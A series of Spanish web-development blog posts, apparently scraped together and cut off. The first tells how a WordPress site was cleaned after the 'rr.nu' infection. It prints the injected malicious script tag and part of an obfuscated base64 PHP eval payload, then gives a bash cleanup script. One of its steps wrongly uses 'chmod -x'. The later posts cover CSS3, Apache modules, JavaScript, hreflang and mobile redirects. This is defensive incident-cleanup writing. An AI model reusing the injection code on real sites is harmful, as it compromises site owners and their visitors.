<script type="text/javascript" src="xxxxx.rr.nu"></script>

Esto lo que hacía era lanzar una redirección a una página potencialmente peligrosa con lo que los navegadores de Google Chrome o Firefox (no he llegado a probar con IE) muestran una advertencia y ningún visitante podían ver inicialmente mis artículos.

Pero la base de que se escriba esta llamada javascript en el código HTML, viene porque todos los archivos, o al menos gran parte, habían sido “infectados” con un php injection el cual escribe al inicio de todos los archivos php un código similar al siguiente:

 <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz
 ZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGl
 vbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD
 0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJ
 GNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0
 dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWx
 zZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbn
 RlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7a
 WYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRy
 eWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR
 1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLC
 R1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b
3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwg...

Al principio pensé que serían unos cuantos, pero poco después descubrí que fueron practicamente todos los archivos dentro de la estructura de wordpress, todos los archivos de administración, todos los archivos de themes, plugins, etc… todo tenía ese código php con el eval y el base64_decode.

SOLUCIÓN

1. Lo primero que he hecho, sin duda, es cambiar todas la contraseñas, tanto la del administrador de WordPress como la del FTP del servidor y accesso de base de datos. No he llegado a hacer un decode del contenido que había en los archivos “infectados”, y no en todos era el mismo contenido codificado, por lo que a grandes males, grandes remedios. Cambiar todas las contraseñas, por si acaso.
2. Haz una copia de seguridad de lo que hay, por si el script de limpieza borra algo más de la cuenta.
3. Descarga el script de limpieza.

Descargar Script eliminar rr.nu.zip - Descargado 2 veces
4. En caso de que no te funcione la descarga o no lo quieras descargar, puedes copiar el código del shell script y pegarlo en un nuevo archivo vacío. Después guárdalo como remove-rr-nu-virus.sh o como quieras llamarlo.

#!/bin/bash
for file in $(grep -Hlr "aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZX" .); do sed -e "s/));?>/));?>\n/g" $file | sed -e "/aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZX/d" > $file.temp; mv $file.temp $file; echo Fixed infected file $file; done;

5. Éste shell script colócalo en la misma ruta de la carpeta principal de WordPress, y ejecútalo con: ./remove-rr-nu-virus.sh o como lo hayas llamado.
6. Si te da problemas de permisos, ejecuta lo siguiente: chmod -x remove-rr-nu-virus.sh

Espero que os sea de ayuda, el artículo original es el siguiente: http://www.spkaa.com/3-step-fix-for-your-rr-nu-wordpress-virus-outbreak. Yo con esto he conseguido arreglar por completo el hackeo que me habían hecho y volver tener el blog funcionando al 100% sin ningún archivo “infectado” y sin que ningún lector sea redirigido a webs peligrosas, malditos hackeos!!

Otras mejoras para securizar tu blog es cambiar los permisos de los archivos a como deben estar de manera correcta, para evitar que usuarios no deseados puedan editar los archivos y cambiar su contenido.

Cambiar permisos de los directores en WordPress

find /path/a/tu/wordpress/ -type d -exec chmod 755 {} \;

Cambiar permisos de los ficheros en WordPress

find /path/a/tu/wordpress/ -type f -exec chmod 644 {} \;

Otro artículo que habla sobre este hackeo http://danhilltech.tumblr.com/post/18085864093/if-you-get-eval-base64-hacked-on-wordpress-dreamhost

Tags de búsquedas:

codigos html hack wordpress 2012

Related posts:

1. Eliminar el nombre de admin en los estilos de los comentarios en WordPress Por defecto, cuando el administrador del blog deja un comentario,...
2. Seguridad en WordPress, elimina el meta con la version de wordpress En la mayoría de temas de WordPress en la sección...
3. Consejos básicos de seguridad en WordPress Tras el grave hackeo que he sufrido en semana santa...
4. Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux Si quieres eliminar el contenido que un archivo UNIX, puedes...
5. Leer pdf online en WordPress mediante Google Docs Esta es definitivamente la manera más fácil de visualizar un...

• elemento[atributo^="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor comienza exactamente por la cadena de texto indicada.
• elemento[atributo$="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor termina exactamente por la cadena de texto indicada.
• elemento[atributo*="valor"], selecciona todos los elementos que disponen de ese atributo y cuyo valor contiene la cadena de texto indicada.

De esta forma, se pueden crear reglas CSS tan avanzadas como las siguientes:

• /* Selecciona todos los enlaces que apuntan a una dirección de correo electrónico */

  a[href^="mailto:"] { ... }

• /* Selecciona todos los enlaces que apuntan a una página HTML */

   a[href$=".html"] { ... }

• /* Selecciona todos los títulos h1 cuyo atributo title contenga la palabra “capítulo” */

   h1[title*="capítulo"] { ... }

Otro de los nuevos selectores de CSS 3 es el “selector general de elementos hermanos”, que generaliza el selector adyacente de CSS 2.1. Su sintaxis es elemento1 ~ elemento2 y selecciona el elemento2 que es hermano de elemento1 y se encuentra detrás en el código HTML. En el selector adyacente la condición adicional era que los dos elementos debían estar uno detrás de otro en el código HTML, mientras que ahora la única condición es que uno esté detrás de otro.

Si se considera el siguiente ejemplo:

h1 + h2 { ... } /* selector adyacente */
h1 ~ h2 { ... } /* selector general de hermanos */
<h1>...</h1>
<h2>...</h2>
<p>...</p>
<div>
<h2>...</h2>
</div>
<h2>...</h2>

El primer selector (h1 + h2) sólo selecciona el primer elemento <h2> de la página, ya que es el único que cumple que es hermano de <h1> y se encuentra justo detrás en el código HTML. Por su parte, el segundo selector (h1 ~ h2) selecciona todos los elementos <h2> de la página salvo el segundo. Aunque el segundo <h2> se encuentra detrás de <h1> en el código HTML, no son elementos hermanos porque no tienen el mismo elemento padre.

Los pseudo-elementos de CSS 2.1 se mantienen en CSS 3, pero cambia su sintaxis y ahora se utilizan :: en vez de : delante del nombre de cada pseudo-elemento:

• ::first-line, selecciona la primera línea del texto de un elemento.
• ::first-letter, selecciona la primera letra del texto de un elemento.
• ::before, selecciona la parte anterior al contenido de un elemento para insertar nuevo contenido generado.
• ::after, selecciona la parte posterior al contenido de un elemento para insertar nuevo contenido generado.

CSS 3 añade además un nuevo pseudo-elemento:

• ::selecion, selecciona el texto que ha seleccionado un usuario con su ratón o teclado.

Las mayores novedades de CSS 3 se producen en las pseudo-clases, ya que se añaden 12 nuevas, entre las cuales se encuentran:

• elemento:nth-child(numero), selecciona el elemento indicado pero con la condición de que sea el hijo enésimo de su padre. Este selector es útil para seleccionar el segundo párrafo de un elemento, el quinto elemento de una lista, etc.
• elemento:nth-last-child(numero), idéntico al anterior pero el número indicado se empieza a contar desde el último hijo.
• elemento:empty, selecciona el elemento indicado pero con la condición de que no tenga ningún hijo. La condición implica que tampoco puede tener ningún contenido de texto.
• elemento:first-child y elemento:last-child, seleccionan los elementos indicados pero con la condición de que sean respectivamente los primeros o últimos hijos de su elemento padre.
• elemento:nth-of-type(numero), selecciona el elemento indicado pero con la condición de que sea el enésimo elemento hermano de ese tipo.
• elemento:nth-last-of-type(numero), idéntico al anterior pero el número indicado se empieza a contar desde el último hijo.

Algunas pseudo-clases como :nth-child(numero) permiten el uso de expresiones complejas para realizar selecciones avanzadas:

li:nth-child(2n+1) { ... } /* selecciona todos los elementos impares de una lista */
li:nth-child(2n) { ... } /* selecciona todos los elementos pares de una lista */
/* Las siguientes reglas alternan cuatro estilos diferentes para los párrafos */
p:nth-child(4n+1) { ... }
p:nth-child(4n+2) { ... }
p:nth-child(4n+3) { ... }
p:nth-child(4n+4) { ... }

Empleando la pseudo-clase :nth-of-type(numero) se pueden crear reglas CSS que alternen la posición de las imágenes en función de la posición de la imagen anterior:

img:nth-of-type(2n+1) { float: right; }
img:nth-of-type(2n) { float: left; }

Otro de los nuevos selectores que incluirá CSS 3 es :not(), que se puede utilizar para seleccionar todos los elementos que no cumplen con la condición de un selector:

:not(p) { ... } /* selecciona todos los elementos de la página que no sean párrafos */
:not(#especial) { ... } /* selecciona cualquier elemento cuyo atributo id no sea
"especial" */

Aunque todavía faltan muchos años hasta que la versión CSS 3 sustituya a la actual versión CSS 2.1, los navegadores que más se preocupan por los estándares (Opera, Safari y Firefox) incluyen soporte para varios o casi todos los selectores de CSS 3.
Existe una herramienta llamada CSS Selectors test (http://www.css3.info/selectors-test/) que permite comprobar los selectores que soporta el navegador con el que se hace la prueba.

No related posts.

• mod_access
  El módulo mod_access se utiliza en el control de acceso al servidor.
• mod_actions
  Se utiliza para ejecutar código CGI o una solicitud http
• mod_alias
  Se utiliza para convertir el sistema donde esta instalado el servidor en parte del servidor.
• mod_asis
  Este módulo se utiliza para enviar un documento del servidor sin cabeceras http. Resulta útil para redireccionar a un cliente sin necesidad de utilizar un scrip.
• mod_auth
  Se utiliza para confirmar la autenticación, mediante el nombre de los usuarios y sus contraseñas.
• mod_auth_anon
  Este módulo permite acceder de manera anónima a partes del servidor. Todos los usuarios pueden utilizar un identificador llamado “anonymus” para acceder a ciertas partes del sistema.
• mod_auth_db
  Cuando es necesario automatizar el proceso de autenticación, y no se pueden utilizar archivos DBM, pero si se pueden utilizar otros archivos, como por ejemplo los Berkeles DB, es preciso utilizar el módulo mod_auth_db
• mod_auth_dbm
  Como en el anterior caso, con los archivos de texto .htpasswd y .htaccess en procesos de alta velocidad, se puede ver afectado el rendimiento del servidor. Por lo tanto es necesario automatizar el proceso de autenticación, utilizando archivos DBM, es decir, archivos con contenido clave=valor, que mantienen una tabla indexada con todas las claves del archivo. Pueden utilizar también archivos GDBM, NDBM,SDMM y Berkeley DB.
• mod_auth_external
  Este módulo se utiliza cuando nos vemos en la necesidad de utilizar un sistema de autenticación externo.
• mod_autoindex
  Cuando un cliente hace una petición en un directorio, el servidor busca en el mismo un archivo con algún nombre de los indicados en la directiva DirectoryIndex. Esta es la función del módulo mod_autoindex.
• mod_cern_meta
  Este módulo se encarga de la metainformación. Tiene que ver con las directrices MetaFiles, MetaDir y MetaSuffix.
• mod_cgi
  Cuando compilamos Apache con este módulo, lo hacemos para poder usar programas CGI, así como su configuración.
• mod_digest
  Se utiliza para poder utilizar la autenticación diges.
• mod_dir
  Con este módulo, tenemos la posibilidad de no incluir al final de una solicitud la barra inclinada /. Es  decir, cuando escribimos www.pedroventura.com/contacto, el servidor lo convertirá a www.pedroventura.com/contacto/, donde buscará un nombre de archivo indicado en la directriz Director ;Index.
• mod_env
  Permite el envío de variables de entorno a los script CGI o SSI.
• mod_expires
  Este módulo se utiliza para indicar al cliente la cantidad de tiempo que dispone antes de que su solicitud pierda su validez, utilizando para ello las cabeceras http Expires.
• mod_headers
  Nos permite manipular las cabeceras http mediante la directriz Header.
• mod_imap
  Con este módulo, Apache permite la utilización de mapas de imágenes en los programas CGI.
• mod_include
  Se utiliza para los documentos SSI con la directriz inlude, que permite insertar el texto de un fichero dentro de otro.
• mod_info
  Con este módulo podemos visualizar a través de la red la información sobre la configuración y el estado del servidor.
• mod_log_agent
  Apache dispone de módulo para registrar la información del agente de usuario en un archivo independiente.
• mod_log_config
  Este módulo permite el registro de señales de peticiones recibidas por el servidor mod.
• mod_log_referer
  Permite señalar documentos por parte de aquellos que han sido accedidos desde el servidor.
• mod_mime
  Se utiliza para entregarle a los clientes metainformación sobre los documentos.
• mod_negotiation
  Apache se hace cargo mediante éste módulo de la negociación de contenido. Esta consiste en la selección de una versión de documento que corresponda a la mejor de las posibilidades del cliente. Existen dos tipos de mecanismos: mapas de tipos y búsquedas multiviews.
• mod_setenvif
  Este módulo se utiliza para crear variables de entorno personalizadas para ayudar a optimizar ciertas decisiones.
• mod_spelling
  Permite controlar las solicitudes URL mal escritas. Admite errores de una letra procurando localizar el documento pedido.
• mod_unique_id
  Módulo que se asegura que cada petición es única. Para ello utiliza la variable de entorno UNIQUE-ID.

No related posts.

Modernizr

Modernizr is una librería JavaScript que te ayudará a integrar HTML5 y css3 en tu página web y que sea compatible con todos los navegadores posibles.

Modernizr detecta el soporte para CSS3 y añade clases a los elementos de tu html, aportando compatibilidad con diferentes navegadores.

Sin duda una librería que está siendo muy popular e integrada por empresas tan conocidas como twitter, Google o Microsoft, entre otros.

Visitar: Modernizr

CSS3 Please

CSS3 Please otra site a tener en cuenta que te permite copiar y pegar muchas de las comunes declaraciones de CSS3. Tiene un interface donde puedes probar y “jugar” con nuevas funcionalidades de CSS3 como rotar un elemento, estirar, mover o escalar y puedes ver en el momento el código CSS3 que se va generando.

Visitar: CSS3 Please

CSS3 Guía de referencia

Como no siempre es útil tener a mano una guía de referencia donde poder recordar las propiedades y sintaxis cuando no te acuerdes.

guía de referencia de CSS3 en la sección de guías de referencia

CSS3 Pie

Internet Explorer 6 hasta 8 casi no tiene soporte para CSS3, el problema es habrá usuarios que usen éstos navegadores o clientes que quieran que sus web sean modernas y que funcionen en todos los navegadores posibles. CSS3 Pie te permite tener la mayoría de las funcionalidades sobre IE.

Visitar: CSS3 Pie

CSS3 Builder

Con esta herramientas, puedes diseñar complejas cajas en CSS3 usando un interface muy parecida a como se haría creando la caja con efectos de Photoshop. Algo a tener en cuenta para ahorrar tiempo.

Visitar: CSS3 Builder

CSS3 Drop shadow generator

Esta herramienta es muy similar a CSS3 builder, solo que usa sliders para visualizar el diseño de los degradados de sombras que vayas generando. Una vez terminado, copia el código CSS que se ha creado automáticamente y listo!

Visitar: CSS3 Drop shadow generator

Cascader

Esta no es una herramienta específica para CSS3 pero me ha parecido muy interesante y creo que puede ser útil, por lo que es diga de mencionar! Cascader te permite meter una cadena de código HTML con estilos CSS inline, y lo que hace es limpiar el código HTML, sacando los estilos en linea, formatearlos en una hoja de estilos y generando sus respectivas clases en el HTML.
No sería lo ideal para empezar a hacer tu CSS, pero te puede salvar cuando tienes de arreglar algún entuerto o marrón que te hayan dejado.

Visitar: Cascader

Border Radius.com

border-radius es una de las propiedades más populares de CSS3. Esta herramienta te permite crear rápidamente una caja con bordes redondeados siguiendo los estándares de CSS3 y generando un código apropiado.

Visitar: Border Radius.com

Button Maker

Con CSS3 puedes crear botones muy útiles, llamativos y cool stuff!! Esta herramienta te permite diseñar este tipo de botones de manera super sencilla: Escoge los colores, ajusta el radio, bordes, degradados, fuente, etc.. copia y pega tu código CSS.

Visitar: Button Maker

Tags de búsquedas:

declaraciones css3, manuales css3

No related posts.

PROPIEDADES

A continuación listaré la mayoría de las propiedades que tenemos a mano con el objeto window que no son pocas:

• length: Fija o devuelve el numero de marcos de la ventana actual.
• name: Fija o devuelve el nombre de la ventana que nos servirá para referirnos a ella en el código. No lo confunda con el titulo de la pagina que aparece en la parte superior izquierda.
• menubar: Nos devuelve un objeto que presenta la barra de menú del navegador.
• toolbar: Nos devuelve un objeto que representa la barra de herramientas del navegador.
• statusbar: Igual que el anterior pero con la barra de estado.
• defaultStatus: Nos permite fijar u obtener el mensaje por defecto que se muestra en la barra de estado. Esta propiedad no es compatible en Firefox por defecto.
• status: Nos permite modificar el texto de la barra de estado. Esta propiedad no es compatible en Firefox por defecto.
• scrollbars: Nos devuelve el objeto que simboliza las barras de desplazamiento.
• location, history, document: Nos devuelve los objetos location, history y document, los explicaré más adelante de forma individual.
• outerHeight, outherWidth: Establece o devuelve el tamaño en pixels, del espacio de toda la ventana en vertical u horizontal, respectivamente. Este valor incluye las barras de desplazamiento, de herramientas, etc..
• innerHeight, innerWidth: Obtiene la altura o anchura, en pixels, del espacio donde se visualiza propiamente la pagina. Este valor tiene en cuenta las barras de desplazamiento, si hubiera pero excluye todas las demás (menú, herramientas, estado, etc..)
• parent: Se refiere a la ventana donde está situado el marco (<FRAMESET>) en el que estamos trabajando. En caso de no haber marcos en la página, equivale a la propia ventana.
• top: Devuelve la ventana que se encuentra un nivel por encima del marco actual. Si no hay marcos en la pagina, devuelve la propia ventana.
• self: Se refiere a la ventana actual.
• opener: Hace referencia a la ventana que abrió la actual (ventana emergente o pop-up). Si la ventana no fue abierta por otra, obtendremos un valor undefined.
• closed: Nos indica si la ventana está cerrada o no a través de un valor booleano.

MÉTODOS

Entre los métodos del objeto window encontraremos muchas funcionalidades de utilidad para aportar más dinamismo a nuestras páginas.

• alert(mensaje): Todo un clásico. Ahora ya sabes de donde viene! Muestra un mensaje en un cuadro de diálogo con el botón Aceptar.
• confirm(mensaje): Muestra un mensaje en un cuadro de diálogo pero, a diferencia de alert, muestra los botones Aceptar y Cancelar. Además, nos permite saber sobre qué botón se ha hecho clic, ya que devuelve un valor true para Aceptar y false para Cancelar.
• prompt(mensaje, valor_por_defecto): Este método es una extensión de confirm, ya que incluye una caja de texto par recoger un valor escrito por el usuario, el cual además es devuelto, Opcionalmente podemos indicar un valor que será mostrado por defecto en la caja de texto cuando se muestre el mensaje, Si el usuario hace clic sobre Cancelar obtendremos un valor null.
• focus(), blur(): Establece o retira el foco de un objeto. Se dice que un objeto tiene el foco cuando lo estamos utilizando (por ejemplo, escribiendo en un cuadro de texto) y lo pierde cuando dejamos de usarlo. Con estos métodos podemos forzar estas situaciones.
• moveBy(x,y): Desplaza la ventana el numero de pixeles indicados. La x indica el desplazamiento horizontal y la y el vertical.
• moveTo(x,y): Mueve la ventana a la una posición concreta.
• resizeBy(x,y): Redimensiona la ventana tantos pixeles como indiquen los parámetros. La x se refiere a la anchura y la y a la altura.
• resizeTo(x,y): Establece una anchura y altura concretas a la ventana.
• scrollBy(x,y): Realiza un desplazamiento horizontal y/o vertical de tantos pixeles como marquen los parámetros.
• scrollTo(x,y): Realiza un desplazamiento horizontal y /o vertical hasta una posición concreta.
• open(URL, nombre, parámetros): Crea una nueva ventana (normalmente un pop-up) en la que se carga el URL especificado. Esta ventana recibe también un nombre para identificarla y, opcionalmente, una serie de parámetros que se pasan como una cadena de pares “propiedad=valor” separados por comas, siendo yes o 1 valores positivos, y no o 0 los negativos. Pasemos a ver los cuales podemos incluir:

• toolbar: Nos permite indicar si la ventana tendrá barra de herramientas o no.
• menubar: Muestra u oculta la barra de menús de la nueva ventana.
• location: Nos permite mostrar u ocultar la barra de direcciones en la nueva ventana.
• directories: Nos deja indicar si la nueva ventana tendrá barras de dirección o no.
• scrollbars: Nos deja indicar si la nueva ventana tendrá barras de desplazamiento o no.
• status: Nos permite controlar la visibilidad de la barra de estado.
• resizable: Permite establecer si la nueva ventana podrá ser cambiada de tamaña (con el ratón) o no.
• fullscreen: Nos deja indicar si la ventana se verá a pantalla completa o no.
• width, height: Con esto establecemos el ancho o alta que tendrá la ventana en pixels.
• top,letf: Podemos indicar la distancia, en pixels, a la que estará  la ventana respecto al lado superior o izquierdo de la pantalla.

Este método devuelve un identificador para la ventana que hemos abierto (para poder hacer referencia a ella después) o un valor null si la ventana no pudo abrirse (por ejemplo a causa del un bloque de ventanas emergentes). Se puede decir que el método open crea una instancia del objeto window.

• close(): Cierra la ventana actual.
• print(): Manda imprimir la página que estemos viendo.
• setInterval(expresión, milisegundos): Evalúa una expresión continuamente después de que hayan pasado el numero de milisegundos especificados. Este método nos devuelve un identificador, que podrá ser utilizado para detener su ejecución.
• setTimeout(expresión,milisegundos): Evalúa una expresión una única vez después de esperar a que pasen el numero de milisegundos indicados. Este método también nos devuelve un identificador para poder cancelar esta ejecución antes de que ocurra.
• clearInterval(identificador), clearTimeout(identificador): Cancelan respectivamente la ejecución de setInterval y setTimetout a través del identificador pasado como parámetro.

Si quieres leer más sobre éstas últimas funciones puedes leer el siguiente artículo: funciones Javascript – setInterval() clearInterval() setTimeout() – 2

Referencia: Guía Práctica Anaya – Javascript edición 2012

Tags de búsquedas:

objeto window propiedades y métodos, window opener pierde propiedades refrescar open

No related posts.

Para empezar a mostrar pdf y leerlos online copia y pega el siguiente código en tu archivo functions.php de tu tema de wordpress

function leer_pdf_online($attr, $url) {
    return '<iframe src="http://docs.google.com/viewer?url=' . $url . '&embedded=true" style="width:' .$attr['width']. '; height:' .$attr['height']. ';" frameborder="0">Esto cargará un iframe</iframe>';
}
add_shortcode('embedpdfonline', 'leer_pdf_online');

A continuación, utilice la siguiente sintaxis para mostrar un PDF. Podrás especificar el ancho y alto que ocupará el iframe. Entre las etiquetas [embedpdfonline][/embedpdf] tendrás que especificar la url completa del pdf que quieres mostrar y listo. Se cargará un iframe generado por Google Docs donde podremos leer el pdf online mas o menos como si se tratara del Adobe reader.

Incluye el siguiente código en cualquier parte de tu artículo o página de WordPress donde quieras mostrar el pdf

[embedpdfonline width="500px" height="400px"]http://www.pedroventura.com/archivos/guia_optimizacion_motores_busqueda.pdf[/embedpdf]

Ejemplo de leer un pdf online, para ello utilizaré unas de las guías de referencia que podréis encontrar en mi blog:
Guia SEO de Google

Este código funciona mediante Shortcodes de la API de WordPress. Básicamente es un conjunto de funciones que crean macros de código para usar en el contenido de los artículos

Documentación de la API de Shortcode de WordPress http://codex.wordpress.org/Shortcode_API

Tags de búsquedas:

leer pdf online, leer pdf wordpress, visualizador documento wordpress, wordpress 3 desarrollo pdf, wordpress desarrollo de proyectos pdf, wordpress reproducir pdf

No related posts.

Detectar iPad mediante PHP

Detectar si es un iPad es muy sencillo, no es más complicado que saber si está desde un pc, mac o lo que sea. Para ello usaremos la variable de servidor USER_AGENT, $_SERVER['HTTP_USER_AGENT'] que es lo que el navegador envía al servidor para identificarse. En esta variable de servidor contiene bastante información acerca del usuario, como por ejemplo el sistema operativo que está usando y su versión, el motor de navegador y su versión, y otros datos de idioma y geoposicionamiento básico, etc.

En mi caso la información que está enviando es la siguiente (desde mi navegador de mi pc con Linux):

[HTTP_USER_AGENT] => Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1

En el caso de que estemos visitando nuestra web desde un iPad será algo similar a lo siguiente:

Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10

Con toda esta información ya podemos realizar una simple expresión regular y comprobar si el usuario está navegando desde un iPad. En PHP se haría de la siguiente manera:

function detectar_iPad() {
return (bool) strpos($_SERVER['HTTP_USER_AGENT'],'iPad');
}

Si devuelve true es que es un iPad.

Detectar iPad mediante Javascript

function isIPad(){

    if(navigator.userAgent.match(/iPad/i) != null){
        return true;
    }else{ return false;}
}

Detectar iPad mediante Apache, directiva en .htaccess

Y la forma de hacer esto a nivel global es metiendo una directiva de Apache, de esta manera no lo tendremos que hacer ni con php ni con Javascript.

RewriteCond %{HTTP_USER_AGENT} ^.*iPad.*$
RewriteRule ^(.*)$ http://ipad.dominio.com [R=301]

Tags de búsquedas:

javascript ipad, java script para ipad, programa php para ipad, php ipad, javascript para ipad, apache detectar iphone ipad, ipad quitar version web, ipad detectar como pc al navegar, como saber si mi ipad tiene java, como detecta que estas navegando con un ipad

No related posts.

Ahora bien esto se aplica en dos casos:

• En sitios web que se orienten a varias regiones y que usen prácticamente el mismo contenido (por ejemplo, páginas web en inglés que se orienten a Australia, a Canadá y a EE.UU. y que solo se diferencien en los precios)
• En sitios web orientados a varias regiones que incluyan contenido completamente traducido o que muestren un contenido monolingüe con diferencias notables enfocado a varias regiones (por ejemplo, la página web de un producto en alemán, en francés y en inglés).

Para indicar el idioma y la ubicación hay que agregar el atributo hreflang al elemento de enlace rel=”alternate” de la etiqueta html </link>

Ejemplos:

<link rel="alternate" hreflang="es" href="http://www.dominio.com/" />
<link rel="alternate" hreflang="es-ES" href="http://es-es.dominio.com/" />
<link rel="alternate" hreflang="es-MX" href="http://es-mx.dominio.com/" />
<link rel="alternate" hreflang="en" href="http://en.dominio.com/" />

El atributo hreflang permite especificar el idioma o el país, y la URL asociada. Éstas URLs asociadas o alternativas nos permiten consolidar los indicadores de estas páginas y ofrecer la URL adecuada a los usuarios que hagan una búsqueda. Estas URL pueden pertenecer al mismo sitio o a otro dominio.

Para páginas que su contenido es prácticamente el mismo, cosa que está mal valorada por Google y que perjudica en el posicionamiento, también habrá que incluir la etiqueta rel=”canonical”, de esta manera en la búsqueda siempre se indica una url o un site como predefinido (al que quieres darle más prioridad) y al que apuntan el resto de páginas con contenido similar.

<link rel="canonical" hreflang="es" href="http://www.dominio.com/" />
<link rel="alternate" hreflang="es-ES" href="http://es-es.dominio.com/" />
<link rel="alternate" hreflang="es-MX" href="http://es-mx.dominio.com/" />

Nota de Google

Cuando Google detecte un grupo de páginas con una única URL canónica, nuestros algoritmos mostrarán el título y un fragmento de la versión canónica en los resultados de búsqueda. Por tanto, te recomendamos que no incluyas contenido específico de una región en el título ni en las etiquetas de metadescripción de la URL canónica. Por ejemplo, utiliza “Example Widget Inc” en lugar de “Example Widget USA Inc” o “Example Widget UK”.

Valores que puede tomar el atributo “hreflang”

El valor del atributo hreflang identifica el idioma y, opcionalmente, la región de una URL alternativa. Por ejemplo:

es: contenido en español, independientemente de la región
es-MX: contenido en español para usuarios mexicanos
es-ES: contenido en español para usuarios españoles

Referencia de interés.

http://googlewebmaster-es.blogspot.com/2011/12/nuevo-marcado-para-contenido.html

http://support.google.com/webmasters/bin/answer.py?hl=es&answer=189077

Tags de búsquedas:

Multi idiomas para android, rel=alternate hreflang

Related posts:

1. Utilizar mod_deflate para comprimir contenido Web desede Apache Uno de los métodos más eficaces para reducir el uso...
2. Google I/O Lanzamientos y mejoras previstas Bueno, ya han pasado unos días de que ha terminado...
3. Mejoras en Google Friend Connect Google Friend Connect está mejora e incorporando nuevas funcionalidades a...
4. plugin cache en wordpress. Mejora la velocidad de tu blog… y el SEO Desde hace unas semanas que he empezado a usar un...
5. Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux Si quieres eliminar el contenido que un archivo UNIX, puedes...

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/m/.*$
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT}  "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|mmp" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp" [NC]
#------------- The line below excludes the iPad
RewriteCond %{HTTP_USER_AGENT} !^.*iPad.*$
#-------------
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] #*SEE NOTE BELOW
RewriteRule ^(.*)$ /m/ [L,R=302]

Otra versión en htaccess que redirecciona en función del navegador web es la que he visto en la herramienta http://detectmobilebrowsers.com/

En esta herramienta podemos ver diferentes manera de redireccionar en función del navegador web del dispositivo móvil, y se puede hacer en muchos lenguajes, tipo python, perl, JSP, Javascript, php, etc.. también hay una directiva para el servidor nginx.

Tags de búsquedas:

mostrar pagina en funcion de dispositivo php, redireccionar web para moviles javascript, version movil cakephp para ipad

No related posts.

RabbitVCS ofrece integración para el administrador de ficheros (File Manager) de Nautilus y Thunar. También para el editor de texto Gedit. Y como he comentado ofrece soporte para Subversión y Git.

Integración con Nautilus

Integración con Gedit

Integración con Thunar

Ejecución en linea de comandos

Navegar en el repositorio de Subversion

Git LOG

En definitiva incluye una completa gama de funcionalidades y recursos.

Instalación en Ubuntu

Añadir el repositorio

sudo add-apt-repository ppa:rabbitvcs/ppa

Añadir en source. En el archivo /etc/apt/sources.list

